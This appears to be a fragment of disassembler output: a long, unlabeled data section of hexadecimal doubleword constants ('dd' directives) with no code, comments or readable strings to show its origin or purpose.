dd 2CE3619Fh, 3F3C720h, 0CB05CA0Ch, 0B1B937CCh, 0AD57C89Ah
dd 0A8AF84BEh, 465C34ECh, 0AFFB0FC4h, 8F452B2Dh, 0FA177D2Ch
dd 80409808h, 0AC2093A2h, 701A17Fh, 9679D033h, 847DA697h
dd 80EEEA18h, 2A60D25Ch, 7A746739h, 4C2E006Ch, 0B7C70B63h
dd 9091D238h, 0E6A7FE80h, 0C121CFh, 4E361E7Dh, 2B6044AAh
dd 7FAEBF18h, 0B2B88B90h, 0E2AC9844h, 64F0A006h, 35031224h
dd 3E500504h, 3D309021h, 410575C2h, 127CC52Dh, 559198D0h
dd 3EF32476h, 8BB8006Bh, 67DE6E56h, 0DD1FCB00h, 5E43CA4Eh
dd 60649487h, 7F610164h, 88E07221h, 4200556Ch, 3F0E060Bh
dd 3E4090CCh, 9C4AB2A3h, 7D0408CCh, 0A3A1989Ch, 45DDC4A8h
dd 0C113C311h, 0CD46470h, 89950B53h, 8C45AAB4h, 0EB3D2C90h
dd 0FFBBE789h, 2BCFCCC1h, 9F938870h, 4DE0A8A5h, 0CFBF0099h
dd 57090198h, 0DB5890BDh, 956201D4h, 3DB676B4h, 1EA4860h
dd 0E08A7D1Ah, 21194BA9h, 0C8500AC3h, 943DC01Bh, 0E00BC1BDh
dd 6F2DA1h, 70BACCFCh, 2B7F0A5Ah, 2ECC15AFh, 0AA06078h
dd 18D520A8h, 0F8E29244h, 0C4015F1h, 0BE940079h, 7B4BD23h
dd 0E53E55D2h, 0A2E8A504h, 156830Ch, 3858D034h, 8CD6B8D8h
dd 89C1600h, 6679F48Dh, 3BA05FDFh, 40131054h, 0C8CF0DC0h
dd 96256A80h, 3FCCC52h, 0E1D64ED7h, 0FBA3C65Ah, 0E2665905h
dd 8681FF0Ch, 0C0502078h, 0E79F08h, 60665EA1h, 1DBCC0EAh
dd 0C0787E58h, 37C3C715h, 0FC4120A9h, 96796E3Bh, 0F840D917h
dd 76533CDh, 1BCE287Bh, 81C309C8h, 3894BFD7h, 8538A45Dh
dd 4C87759h, 0B699177Dh, 506CD29Ch, 217100F1h, 97526019h
dd 0EE8A400h, 2F50D86Eh, 34C10B25h, 6404C545h, 0A8B4A0BAh
dd 82937B2Fh, 0F9570154h, 18F57114h, 6BEC0017h, 3CED5898h
dd 8174B520h, 0FD522F09h, 0AC1448A3h, 0C08D4B68h, 392B5B8h
dd 1A9DA7F6h, 0E498E510h, 0F0DA6091h, 0A9B904D8h, 8E17632Ah
dd 0B46A4B84h, 0F09E8007h, 4EF65014h, 0E4C580Ch, 0EBB5043Ch
dd 0C0ADE683h, 0C459CA38h, 19B8645Ch, 1796018Ch, 50EB20D5h
dd 12C466DDh, 0CCF2492Fh, 0C556DE1h, 0ECB0E4Ah, 8C81C359h
dd 81FFD714h, 0AF53CF41h, 0D5C04D9Fh, 62160197h, 59B270EAh
dd 9743941h, 80DF530Dh, 24D75EF0h, 0C71F15EDh, 0CC92D4A9h
dd 0E09454F0h, 278C38D6h, 84E400FCh, 6B997AEFh, 9A6247EBh
dd 41155960h, 0C8E8D056h, 8E012594h, 14DCA8C3h, 5C2314h
dd 0D75AE28Ah, 8085C987h, 26E28F14h, 6A053974h, 0EB331DCFh
dd 0C7134080h, 0ED6101E9h, 76D9264Bh, 50053B8Eh, 0E4888137h
dd 9049F359h, 7860E8E7h, 0C11F01E7h, 514C5C39h, 0B770828Ah
dd 40163E47h, 17B834ACh, 41294052h, 90156D88h, 66FEFDE0h
dd 64772538h, 5BE078h, 0AF314BD1h, 145960A6h, 6FB7DA0Eh
dd 1E344058h, 0CB3692h, 693C5BB1h, 71D7628Bh, 4F500092h
dd 40002C9Bh, 0E594F4E6h, 1427DE2h, 54FC67D2h, 2C903785h
dd 6BFD16F4h, 66534CD0h, 14CC928Eh, 0B6B2CDF1h, 409FBE0Bh
dd 0FCB4949Ch, 1CB4656h, 9BB5AD9Eh, 7C36CCF6h, 0C41E0401h
dd 87FDF7E9h, 1A0E8431h, 0EBAFAC50h, 6F660076h, 48EA6342h
dd 0F25DD4E1h, 0DC8E2F98h, 0F9C10291h, 0A8E4FD2Bh, 5B5CAA5Dh
dd 0C823242Fh, 0D04AD900h, 145C2489h, 0EABD97A2h, 98042324h
dd 64F909A1h, 0A4B17F00h, 5D4582E0h, 0A51C91CDh, 0DCAF4491h
dd 7505E8DBh, 3FBE79BFh, 9143A8A0h, 186C79ECh, 0B0CB0F20h
dd 3958D503h, 0EC161C5Dh, 440594F2h, 68B0FFF6h, 0D8151253h
dd 0D3B84052h, 6C3F0128h, 4B20730Eh, 0A1EBE7F5h, 0D2AA6BD0h
dd 104E0160h, 0B851879h, 50D8D2B8h, 54A542F0h, 18401062h
dd 55FACDF3h, 4F1C3A00h, 6219685Dh, 2AF90443h, 0ACE6F121h
dd 4376BC44h, 0DD5855h, 1CE94BBDh, 53BE7AC9h, 71F2A833h
dd 0B24130h, 0DF65AA1Fh, 0FB30D27Ch, 471CBA9Fh, 60A74434h
dd 1BE1949h, 7B737C99h, 0A04DDBF6h, 79128450h, 8CF49FADh
dd 0EA300A5h, 59FA40C8h, 0A67E9A5Bh, 957D3B09h, 32BC84C4h
dd 0B7DECC93h, 0C4DC1234h, 0A64613CDh, 35240F04h, 0CA986AC4h
dd 0D52CD0h, 0D22F3D40h, 0C1DA05A8h, 0C43311B9h, 0C8F8CBE0h
dd 89B1C19Fh, 0CB57F0C8h, 12CD2B09h, 8FE0843Fh, 0D72E78ECh
dd 109D6930h, 4802611h, 22AA3108h, 0DC72D42Ah, 67984197h
dd 0EBCC30h, 0A637B0D6h, 4830F02Bh, 5BC8B3Bh, 47F36861h
dd 570E8444h, 0CAE2ECB2h, 3B5830h, 0C25FCE84h, 0D4559F25h
dd 601C2F9Dh, 5DC04A7h, 0C3CD0453h, 0A8AF7BB5h, 0DC6E5FF0h
dd 456EA600h, 9B15FE1Eh, 0F7B1D504h, 0DB12EA5Eh, 0E522804Ch
dd 40DE6Fh, 0C05326EDh, 5EA3B5D2h, 8410E248h, 9E008AC2h
dd 3693C4A8h, 0CD5C8150h, 489DD412h, 76E12CA2h, 1B00C55h
dd 0F5A1C1FAh, 3A78597Fh, 83F31820h, 46C980E6h, 0F409164Bh
dd 6084ED54h, 0D77DDE33h, 40C64638h, 0C89300B1h, 5FFE356Eh
dd 80E9AE77h, 98A85E18h, 0EEDC237Eh, 0FC3C20BEh, 7D2D9E19h
dd 146C4EF1h, 34B56F13h, 7A5DC2B0h, 74592E40h, 650200B9h
dd 0D15E2E58h, 18C9717Ch, 85E80271h, 16CA605h, 7A7BFA41h
dd 21843040h, 1363605Bh, 49BECCBDh, 0E490D448h, 9A007672h
dd 38A5CE58h, 0F31DBFh, 0DCCC0BF6h, 0C501480Eh, 1038244Ch
dd 5724A027h, 6C209C4h, 0B442504Fh, 40E47641h, 4A4540DCh
dd 6D8F7506h, 44707AAEh, 0CD1E543Fh, 9460A4BEh, 8E65642Ch
dd 0C7C98864h, 2754217h, 415CB5C1h, 50721EF8h, 44256E0h
dd 7700C2F4h, 87E0399h, 0CB67C0h, 93F98F72h, 26A6CA51h
dd 708CFB4Bh, 61D400A1h, 940C679Ch, 0BA0B21C8h, 59971F65h
dd 90D493F4h, 6622EBCCh, 0B7F17600h, 6D869505h, 0EF0E03F2h
dd 370D36A5h, 745CF7EAh, 9F862E80h, 0E478FC31h, 0F0BF01BCh
dd 93D05E02h, 96AADC9Ch, 0BA6A1D25h, 5618DE50h, 0D5036D46h
dd 377C02AAh, 0DEADE005h, 0A7C40A9Fh, 0F9A7D4B4h, 0E879BF02h
dd 146CE500h, 0BAC1F85h, 20496D72h, 0CAF28A80h, 0F55A1E75h
dd 58F94C80h, 8B8C4E11h, 0C0CAC864h, 0D26AD876h, 0D9294573h
dd 54ACACBEh, 5359FB09h, 0B8E5A7D4h, 2E60CAE4h, 0E000A80Fh
dd 0BD66DCD2h, 37A2EFh, 6C9181F3h, 0D44EE6C1h, 0A3694813h
dd 0C26FD404h, 8D305F22h, 0D7533FE2h, 0BA018043h, 587B34E2h
dd 0F1DB316h, 6EF400B9h
dd 555BA19Bh, 4401D0DEh, 7F53FE98h, 68002476h, 0D44A21DFh
dd 449EA16Ch, 6BD1A947h, 8CD1B1A2h, 8A24203Eh, 0AF484769h
dd 0F590162h, 64A33B88h, 0C58CC7Dh, 0F66B3809h, 0CE009C44h
dd 51F4C260h, 2E4D0E6h, 93BB7152h, 24449728h, 0ECB4F302h
dd 711D72C3h, 18D079F4h, 75A84EA5h, 0C0909AD8h, 3D6AD43Fh
dd 0F14E041Ch, 8AA01F81h, 0FFFD0008h, 413C2BEh, 79D0029Fh
dd 25A6AF66h, 0E580B0D9h, 0B01191BDh, 0C44324E9h, 53B56274h
dd 5D6F0F4h, 2D207911h, 0FFD430E1h, 9E04C064h, 0D493C3A9h
dd 6724A4h, 0B66596F9h, 0A5E7DEE2h, 321B2701h, 8960F214h
dd 0A879AADCh, 4F57AA4h, 87A655A9h, 8F80A8E4h, 7EB4C08Ch
dd 0BE2D65A3h, 50B607F4h, 0F2AE848Ah, 30A3F288h, 6B0FCD09h
dd 0C12A3888h, 7B91BE3Eh, 102C2BF5h, 0D1D82413h, 3DD25CE0h
dd 0A63600D0h, 2E2289EAh, 342348E7h, 0BA4B7Dh, 0BE1E0D6Ch
dd 949B623Fh, 0C0746D27h, 0F404C3D7h, 8F0DE23Dh, 0C47493A9h
dd 0CCEA373h, 0D6B81C4Ch, 9E33008Ch, 0A3E079E8h, 0FDF0F36Bh
dd 9769A8B4h, 8F581184h, 0B6A8803Dh, 5E706E77h, 0D750C140h
dd 8A80498h, 388C5CBCh, 5D0068C8h, 0B5CD5B0Bh, 0C15E2FCBh
dd 0F4634872h, 18E75ED0h, 0F27F66h, 4CD4F8A6h, 0CC679F80h
dd 6CD21324h, 0EA4FE143h, 2D78D883h, 0ECC8C1BCh, 5E0BC3CDh
dd 0B926EB0h, 40490772h, 498A4BA2h, 8829DB54h, 163DDF00h
dd 6653C9D8h, 84109095h, 0F7BF73B5h, 1BB8606Ch, 7887008Ch
dd 65A6A0AAh, 0EC2F9460h, 62DCAF81h, 0F335D72Ah, 5E58A884h
dd 98D0DC10h, 0E28E028Ch, 0CA27D75Eh, 93E0CC96h, 198FE203h
dd 0F23E6F27h, 70A9C04Bh, 18E2F1Fh, 0C35B4CC4h, 5623583Bh
dd 6A9C0900h, 0B5F672C2h, 47BB10A0h, 100E167h, 50D836A6h
dd 7E3E485Ah, 0F97B257Eh, 349D2C62h, 76804B11h, 0CB8643FEh
dd 87A31E00h, 0EB7B47B8h, 17BFEADDh, 0C04072DCh, 8A4699B8h
dd 0D5C5F7A3h, 0B924BD2Ch, 9FE779ECh, 71884C17h, 0F1846055h
dd 49390217h, 116496A9h, 32A1E8D0h, 38F98AFEh, 18409A5Bh
dd 0DAFC9401h, 33E4538h, 0CD381CC2h, 1FEA4Eh, 0A285E86Dh
dd 6E367A13h, 0FF6FC407h, 0DE1F947Ah, 0FD50027Bh, 409B8690h
dd 4A751ACh, 34C41558h, 96D8A4CDh, 2A9F0D04h, 90C0CB27h
dd 4EB769C3h, 132CC754h, 0A8D46678h, 9B1601CCh, 5AD8D67Ah
dd 8049B845h, 58DCD354h, 0F602B811h, 179E7ADAh, 0FD980DA7h
dd 3C790014h, 52DB1085h, 81107ACAh, 0A012B2CBh, 4F44B4DAh
dd 3E78BE4Ch, 158601F9h, 4BF3B1C0h, 0D338007Bh, 4DB855E6h
dd 0DC505181h, 27D93BC8h, 8C68D032h, 0B6503C4Dh, 0A0F0CBB9h
dd 32135CB8h, 0ECE4F667h, 6AD0B889h, 889831AAh, 6D00D929h
dd 0B445E91Ch, 0C7D2098Ah, 6C2FCC99h, 0EB6423CFh, 8FE8D0C3h
dd 7481247h, 420D13CCh, 6BC0589Ah, 8F88D2CCh, 92F55D75h
dd 0B841F5F0h, 0B68C4ED3h, 4B86F082h, 0FD81CA2Ch, 40EAFA7Ah
dd 0B7F79998h, 7DC0F805h, 0D5C09EFBh, 0BB5BC5h, 0E6D514B8h
dd 0C64C8631h, 4103B17Dh, 0ADFE3003h, 5A9FB93Dh, 0E67440FEh
dd 79A4B158h, 0F56518D0h, 0E478406Ah, 7D26E68Dh, 0F21B0D01h
dd 78F64B31h, 30007B7Ah, 0B7925610h, 9FA62DB8h, 44507068h
dd 67536603h, 0AC340F1Dh, 8D09484h, 3F90EF08h, 6E260A5Ah
dd 0A7465E58h, 98C32D07h, 0A2ED008Bh, 20A07A37h, 36028450h
dd 0E3A69DCBh, 70ECF94Ah, 865576h, 0D835D25Bh, 3CC4BB6h
dd 0A578C539h, 0FCA0600Ch, 9CFF4FB9h, 0A980A754h, 84EB1295h
dd 0DFF8F4FAh, 98C9C49h, 5E87CC1Eh, 141FD920h, 46F72038h
dd 20D42F88h, 95827D3Ch, 0F987074Bh, 1531B721h, 0BD10856Eh
dd 0C5F1AC68h, 0E868F8C8h, 7E059C38h, 98F49FAAh, 30CC0060h
dd 13C746C9h, 0B81DD956h, 8B40C559h, 733326F0h, 0E7191348h
dd 3784F4F6h, 0B87DCB2Eh, 0E67F103Ah, 8744814Bh, 0D6240056h
dd 7931C3C1h, 3DB91FC7h, 0FD2FD4FCh, 3827B22Fh, 8B62B4h
dd 10038E35h, 810A1E1Ch, 6E5C9412h, 68357C30h, 4F6600C4h
dd 7B01F74Dh, 5E4A2594h, 0BDB0ACE6h, 8E24F070h, 6D2598B3h
dd 0D219C048h, 0DF3932B0h, 0F67A0427h, 501BA39Fh, 0A98DAC90h
dd 0A4703E02h, 5EAAD1DAh, 0CEC6826Ch, 90F1E903h, 6B186F79h
dd 2FC12D3Ch, 11ECA1B0h, 0D048DB50h, 216B028Ch, 5EB26832h
dd 2B6D00E9h, 41DF609Ah, 50079DFFh, 46DF847h, 0AA071C1h
dd 0C2DC7B4h, 727BFE05h, 3A0816E8h, 6F2308h, 8A26B597h
dd 1605A56Ch, 47D2CBA3h, 461EFCF9h, 0B35BD71Eh, 3025A294h
dd 7D169749h, 0A50B09CEh, 4ECD1C7h, 5F839Eh, 0D30722AAh
dd 0FD420029h, 10C2BC87h, 48E5F850h, 952C5738h, 0E52D5B8Dh
dd 0B5288184h, 0DD3E5495h, 230DF8E5h, 81F60300h, 69B2132Dh
dd 70B960AFh, 31100520h, 0F31D5CB4h, 0D8D648E0h, 2EDF5A80h
dd 4CB0BC21h, 26D118B1h, 98003618h, 91E1458h, 0BDCD07Dh
dd 4037EECh, 900C10A5h, 0F268FD1Ch, 0BCB3FC9Ah, 961378h
dd 7178183Fh, 0E00C2794h, 0FCA5F84Ah, 7004AF20h, 0A2770986h
dd 2CC2A322h, 0A4703C7Bh, 3BDE0029h, 237D9367h, 6A09300Bh
dd 0E1ABCBh, 0ED20DF18h, 24589AFEh, 966CAEA3h, 9214B4F7h
dd 182E7D00h, 0D888D585h, 69120331h, 23DBFE1Fh, 8CA071F2h
dd 96219E41h, 59F094B8h, 4EBCB2D5h, 25C8C8CBh, 0A2B37FC0h
dd 929B0509h, 8F1BF90Eh, 0C0F5C8DCh, 4BBA8FFh, 0F04497h
dd 754537A1h, 7CC5B605h, 3CAD5C26h, 5A44C82Ch, 1C346BBEh
dd 244FC722h, 8097CA2Dh, 4C22467Eh, 72273B3Dh, 0E0477E02h
dd 0AFBCC2F1h, 8AD2F054h, 0C0C8C848h, 0A21CEAA0h, 93CF9104h
dd 0E4815657h, 2A61D4C6h, 95D6C070h, 15453420h, 0B700BBFDh
dd 0D419970Ch, 183B2EBh, 77D55C6Bh, 20578291h, 90F4B09Ch
dd 0E0DF5D01h, 0ACC2B7C7h, 1BA2C823h, 0E40DA230h, 1FBB7C81h
dd 937B29C7h, 1F4042B3h, 386D08D4h, 35E61BE0h, 0D60D00C8h
dd 9E7B6EFAh, 0A49C8E6Fh, 0D040B393h, 8BEBB5A3h, 709490F2h
dd 24E609B0h, 442B6BDCh, 0C9E4D045h, 9E4CB560h, 0A102D973h
dd 0BED8E413h, 8B78FCB0h, 54D0F3F2h, 93D1E76h, 50B2A528h
dd 0A7DB1088h, 7F930E01h, 4CE01203h, 20E8908Eh, 3E29EF53h
dd 1AD1B8C1h, 0E0A04918h, 1D1204E0h, 305F52A0h, 0E9CE59C0h
dd 3BCC88h, 0D61EC0DFh, 0B1FD8903h, 860474B1h, 18A0AB2Bh
dd 46872D8Dh, 0A2918497h, 0A1E5E880h, 0C802863Dh, 0E1A8AF6Dh
dd 70D4FBB2h, 2D164530h, 709B08F2h, 1A14580h, 0E0AAC6BCh
dd 4138045Dh, 0EA94A004h, 0F523442Fh, 46803007h, 0E9E49FA7h
dd 6DBC48FCh, 73055543h, 0EC4F2380h, 84A63D70h, 7CE6CC9Ah
dd 0CB0802BFh, 0E8F16E31h, 9118A771h, 0D35BC401h, 6C8599B6h
dd 5E70B7DFh, 17AAC724h, 4BC12B5h, 2BF4B04h, 0CB072D34h
dd 3F181090h, 0D52416B4h, 6CFD2021h, 8041422h, 212172Bh
dd 0F81F99ADh, 0F00AE814h, 8086589Fh, 9A315700h, 0C6468969h
dd 77BCD700h, 9D122CE0h, 0A6D040Ch, 0AF6CCF23h, 0A4DB3417h
dd 68A0FA8Fh, 0EA8053F5h, 7659FB13h, 6C88D0CEh, 379EBBC0h
dd 9F090615h, 68E7E9C4h, 0F49EFC90h, 29200D6h, 0BD2D58CAh
dd 0DA5EEF50h, 0EED06497h, 1EBD64Dh, 7E55489Dh, 501ED37Fh
dd 0F1148EA8h, 0E3C03725h, 0CB628784h, 0A5E480C9h, 2CAA5B31h
dd 74A0419Eh, 0FB00CB46h, 801B543Ch, 7F095E22h, 277BBC0Bh
dd 0F67207F8h, 58305B58h
dd 5A00461Ah, 6693BF78h, 9D599709h, 0CA11A897h, 3937C480h
dd 4203323Ah, 2ED4E02Ch, 84A0131Dh, 23882F53h, 0A1E20022h
dd 916BAF6Fh, 0F18D9400h, 2FAEAC80h, 96FF0523h, 0D233B6F8h
dd 9864A6ECh, 0A20092ECh, 4A1AFF9Eh, 0FB4C785h, 0EB3338FBh
dd 0CB0C34D2h, 0C058885Ch, 61E173EFh, 78C77900h, 8115C39Fh
dd 1FC943Fh, 7E37083Dh, 128380Ah, 0E5E27860h, 802FA404h
dd 0FAAC3614h, 0BC44CCB8h, 20335A39h, 0F580A688h, 53898A16h
dd 23B1D4B6h, 0F06221A8h, 6601ED2Eh, 29F3C79h, 6081274Ch
dd 40DE399h, 0C8C12E48h, 0B47C7B3Fh, 0A8B3B867h, 0A8E7AD04h
dd 350B84BCh, 0B4409781h, 0F892E4F7h, 9164979Dh, 54B689D0h
dd 6C217630h, 96118055h, 2B870A9Dh, 0BB015171h, 4F35C124h
dd 6BC0C71Fh, 0ED62002Eh, 7A81ECCAh, 0A0B8D792h, 0B57CE71Fh
dd 467404A6h, 50F5271Ah, 0CD9B40D0h, 9F040301h, 2B9E42CEh
dd 0E910062Bh, 2415A85Ah, 4A90877Dh, 0C723142Fh, 0CBAEA800h
dd 0C5CAE77Ah, 0B576C970h, 88584EC4h, 9801CE21h, 0FB060E55h
dd 0FDC2B6D8h, 0C002AA0Bh, 2B54E91Dh, 2B743E6Eh, 7900CC72h
dd 0B25C7FE1h, 0D02A30A3h, 0DE4ED7B8h, 120DE640h, 5722CBFDh
dd 1B7CC138h, 524611D1h, 39C027Fh, 0A0E84F79h, 0FC5FBECDh
dd 0CE9E0001h, 6AFC92F6h, 4CC5976Bh, 0BE60A2C4h, 880059A7h
dd 825CBFC0h, 0A8FBE687h, 243CBCh, 9E9C64CEh, 70A1BD09h
dd 0D7B7EC0Eh, 1558A174h, 90B95CF9h, 0C0A818B6h, 21CCA72Dh
dd 4DE27790h, 0FE96D5F0h, 2FC74FACh, 386C2394h, 0DC82E73Ch
dd 0F67BFF0Dh, 0DB788455h, 9700B4E9h, 0A0B1763Dh, 33003BC4h
dd 401BE71Ah, 1EEC66CFh, 0C02BD48Ah, 662C279h, 0C700EDF2h
dd 3FE53090h, 26B6E05h, 80329270h, 0C839E44h, 91C3E376h
dd 665A62E0h, 0FA363701h, 3892BE1Bh, 8796E000h, 49E42F01h
dd 3FFCD86Eh, 39A54080h, 11F8ACD5h, 0D2BB7107h, 0C1A01821h
dd 307FAF0Dh, 9F69458Ah, 7D3DF36Ah, 0E10C06C7h, 300852C2h
dd 420AF5Dh, 0E43CF361h, 930E8060h, 0AEBBA301h, 2F9C076Fh
dd 4C126CFFh, 18CE9EB0h, 6861909Fh, 0C5F6E25Eh, 10218B33h
dd 0B5B60076h, 1D93A209h, 18A321ADh, 0F79213Ch, 34FD8500h
dd 30658294h, 93CA3AECh, 0A4004940h, 81AA0FF7h, 0DBD97Eh
dd 1069FF3Bh, 1E8ACDD7h, 4979ED65h, 0F36C7020h, 7AC72377h
dd 6005E11h, 9EC3F343h, 0C01D53B9h, 13C381A9h, 0D88F78h
dd 61393099h, 4ACF9396h, 0AE63CD0Eh, 21E85817h, 6B400A70h
dd 1080B244h, 0BA5C04Fh, 0F896173Eh, 0DCF0A0A3h, 0ACB28B6h
dd 306406D8h, 0E19CE874h, 0F947BE00h, 0C131181Ch, 792F1D43h
dd 219618DEh, 0F9037F51h, 9B246F65h, 525812D2h, 6604004Bh
dd 0EB80E2DBh, 6E18497Ch, 0C0183E1Bh, 4073396h, 8BB0970h
dd 391483E4h, 0F7C500A4h, 0D6B45DDh, 622CB204h, 2100F709h
dd 0C0DE2F25h, 1D32ED5Ch, 310BD28h, 0B9F77EA4h, 0A128E853h
dd 0C00D9E34h, 25144555h, 60F0C6EAh, 3E6A70A0h, 6E060A88h
dd 0A989F77h, 8A900E8Ah, 82849DE7h, 0BF86AD6Bh, 9424004Ch
dd 5708A407h, 0BB620B6Dh, 0EE58A60Ch, 99382C60h, 0C24138B2h
dd 2FBEC088h, 96058CA0h, 98A24AFAh, 606DD805h, 48DE1890h
dd 0B31C6B10h, 78873BC8h, 8019DDF5h, 1F4B6A37h, 9388C424h
dd 9DE542A3h, 20E8442Dh, 0E0034E5Bh, 0B3B99A98h, 78486440h
dd 0DE1D606Ch, 0F46B2B4Bh, 303D11CCh, 4BEE7823h, 0F77B84h
dd 0F81FBBB8h, 379E49E8h, 702E6124h, 4046D0A0h, 7AF36702h
dd 333152C7h, 0F37EFF10h, 42E8F200h, 9044C071h, 891D5h
dd 97B1FE89h, 397FDEC7h, 0F26D6500h, 0AD8E5360h, 0EC2C09E1h
dd 9C201EF6h, 0CE4B4EB5h, 0E80C1490h, 50ED294Ah, 8F7F14EFh
dd 4230E0C6h, 3A1BCA79h, 0F71C364h, 0B2DEEA41h, 0D1D44012h
dd 0A819D2BEh, 30613285h, 7D44230h, 2AEB5BB2h, 0AD403CCAh
dd 0ED4CF426h, 0BDC2E600h, 67CD7A7h, 0C36B7F0Ah, 6800512Fh
dd 719D6652h, 0A43D56Ah, 464ABE17h, 85AF05D0h, 0FAA40493h
dd 99F500AEh, 0A1CD467h, 0A7868E0Ah, 0D3DC21F0h, 566960ECh
dd 0E83D00D2h, 4D03A2FFh, 0AB30936Bh, 0BB6D9861h, 915F287Eh
dd 8FF7009Ch, 1B896352h, 301FB534h, 0E34F6771h, 4A69052Dh
dd 3A5EA030h, 40C18043h, 20BB6A80h, 4E4C18E7h, 10710838h
dd 2D9E012Fh, 34BC0BAEh, 0C499F764h, 63369601h, 43FC4420h
dd 0C690009Dh, 9453A4D0h, 6BF40EA6h, 5BFBB15h, 9C4A09A4h
dd 73D88410h, 44E68D8h, 49181DF9h, 20A132DEh, 3BF9465Ch
dd 3AC25E00h, 9E200668h, 0E29A120Fh, 435C08FDh, 71F356C0h
dd 2C6A4CC7h, 0F36D00E7h, 0B10797F6h, 2ADB6A31h, 24B41208h
dd 0F548C218h, 8857B30h, 0A471B555h, 76400E64h, 17A28570h
dd 0C2DA8209h, 0FE8057C4h, 0F732E25Bh, 857A24A8h, 29B56808h
dd 400464A3h, 0D085736Dh, 38C600A5h, 0B5C47E36h, 0B6141556h
dd 1FC0A413h, 1F80F782h, 0C0B1FD53h, 0B59A3077h, 0C1753041h
dd 1C0BC403h, 0B8111719h, 10A768F9h, 4CF73AEh, 0CB0D4B4Ah
dd 4EC18087h, 0D0329C67h, 69014223h, 82C774F3h, 9893718h
dd 0B3DDEF00h, 0CFC34414h, 0B278429Ch, 0F28F300Bh, 0A1547C01h
dd 0F0499F1Ah, 0B1C72360h, 784880E8h, 53CC8138h, 0BC540E4Ch
dd 0AF435Bh, 3BFF534h, 98116749h, 106A0016h, 0CB6F2CCCh
dd 0C024ED4Dh, 0E0A80033h, 416CD303h, 0CABB61C8h, 0F4104E1Ah
dd 81589996h, 7AEB8DCh, 42D04D90h, 1C3061F8h, 6B4411DEh
dd 803688FCh, 8A25F824h, 900F339Ch, 607767BDh, 0D4A19711h
dd 3BFD0FDAh, 0AD204958h, 4B9D6EB7h, 0F8150500h, 0F77CFEEBh
dd 5C660736h, 70927D7Eh, 0FF5B9C63h, 309BBB3Ah, 87412162h
dd 95F01C7Dh, 3304C007h, 3B2DFEEh, 2A60FE60h, 392757Bh
dd 7CA1FF55h, 1800D17Eh, 86B39E24h, 6EDB14h, 39EEF462h
dd 36917C66h, 0C394961Bh, 0E8D7C360h, 0C712725h, 78803AFCh
dd 21CFCA09h, 6F26C0B7h, 1D83C7B4h, 88AA2168h, 1E80F497h
dd 49ABA62Fh, 43A7005Bh, 652648D0h, 0F7804120h, 7F1703B7h
dd 0C4F4B3EEh, 0E9D96481h, 12409DF8h, 8388EC15h, 0BA9D7D81h
dd 40AC338Bh, 2E7D8A3Ah, 0D0ECC8h, 0E92A654Fh, 0DF9E237Fh
dd 74217C07h, 4D518D6Fh, 598364E0h, 19032646h, 3ADB83C8h
dd 0DC33D71Dh, 98214F18h, 0C4030F2Eh, 0CD2F3B24h, 0E34CF660h
dd 0FD00815Dh, 3CBEB1EBh, 1295E26h, 795B772Eh, 80575C7Bh
dd 8DAA6340h, 3ADDFh, 0ED40F656h, 57068B8Eh, 3D102C15h
dd 8F960084h, 9ABF80BDh, 0B9FB3360h, 21003009h, 52BD86F6h
dd 18F527CBh, 8054E724h, 1C90253Fh, 8186FFF6h, 83DD9E84h
dd 88709458h, 7D3D533Dh, 3EAB9880h, 60C0EE60h, 91D7416Dh
dd 3B721FEFh, 8021116Fh, 2F425DFh, 541D48E0h, 4132DEE9h
dd 0A2F7376Dh, 0B84805Ch, 15F4637Eh, 0C8867C8Ch, 14032983h
dd 52317BCAh, 3319910h, 0C305D300h, 0B75EB40Dh, 77D50097h
dd 0E013FF49h, 63003D42h, 787A7E5Ah, 630D3AD8h, 3C071097h
dd 5FBDF111h, 0E1D16107h, 0D8A2B273h, 2D099040h, 0B0376B28h
dd 3ED3490Ch, 224D19C2h, 0CB10645Fh, 0EC02C18Ah, 2E5705B7h
dd 0BD91E8B0h, 6ABF8611h, 0B82E88h, 23C7BD89h, 0C73408Ch
dd 0C9E7B30Dh, 241BFD50h, 70685A9Fh, 0D0F749A0h, 200F28h
dd 3EE7C5DEh, 56AF8429h, 0A3DCDA00h, 5B82D799h, 0D4F61CBFh
dd 901340FEh, 0E618C8D6h
dd 667D3A14h, 0DBD54084h, 0C8B49B48h, 7D84C1EDh, 9A93DC94h
dd 33654486h, 0B17D8D1Fh, 3F0AD180h, 0C5428DEh, 62D942EEh
dd 0E524F860h, 40009526h, 3BD0E2F1h, 1870F859h, 1868038Bh
dd 0EF0DBC6Dh, 587FCFBAh, 30520442h, 10790325h, 91DC1B21h
dd 2DA5006Bh, 0EA16A403h, 0ACD52874h, 0C4045298h, 3D3031F2h
dd 1FA036Bh, 733EB18Bh, 0AC12E924h, 82D12DCh, 23F00819h
dd 85BD94C0h, 108246BFh, 0FD005754h, 4612BDABh, 98031DAAh
dd 78795A1Ch, 0B9410042h, 3C200921h, 263B1E6Ch, 24FC04F5h
dd 148C5777h, 1031C658h, 6E38392Dh, 3DDD80ECh, 4145140Ch
dd 0E0F80029h, 0F69D2C18h, 3E731043h, 75DBB314h, 606626CCh
dd 7958F50Ch, 700D0018h, 74EB767Eh, 70C165CFh, 37A61DB3h
dd 28426830h, 79FC9E19h, 7BDA0A36h, 74E8FC29h, 1C034846h
dd 37785AC8h, 2C41B8B8h, 0C08748C8h, 0DFEF0324h, 0A6833343h
dd 0F9D8032Ch, 0BB55EF8Dh, 740EF084h, 79B6D4A8h, 5BF9E601h
dd 0A4206C42h, 29163E0h, 2A3BB9C1h, 0DB626815h, 53913C15h
dd 86EA5B80h, 0FF012AEDh, 414F9D77h, 0E4486E79h, 4EE312C1h
dd 0FFF407C8h, 0B15640B8h, 0ED1249CEh, 8448928Dh, 327C088h
dd 2B43DFF2h, 32F9780h, 1E1D81E4h, 0F244877Bh, 0B8803D60h
dd 403FB37Ah, 1C90964Fh, 0F7A35502h, 958D9AFBh, 804F9134h
dd 0C4780A19h, 125DF04Ch, 160FB24h, 0BEEC7308h, 79D89DF8h
dd 6C4A55D2h, 3C4090DEh, 96D6F3h, 0ADE8CE52h, 7518E524h
dd 4D0079EAh, 0EE4E5E6Ah, 0F629F68Bh, 7D6E34E3h, 0A3881CB8h
dd 16031B07h, 49620B94h, 3233B20h, 0F0D1026Dh, 54F5E55Dh
dd 0A861DD86h, 536C7B48h, 0B8644CF0h, 0A67E8C64h, 0A8948D16h
dd 4CCFC404h, 0B021B807h, 3E19ED9Eh, 9C34FC41h, 0BC1B5DB2h
dd 69377502h, 0BC6B3DDBh, 356B24F8h, 0E2E540C0h, 0E40BAE4h
dd 0EB2CF558h, 5B8E18B8h, 0E90CA0D5h, 1FED8F8h, 6F04372Eh
dd 41F87952h, 42630788h, 70C9863Ch, 3818944Dh, 69888094h
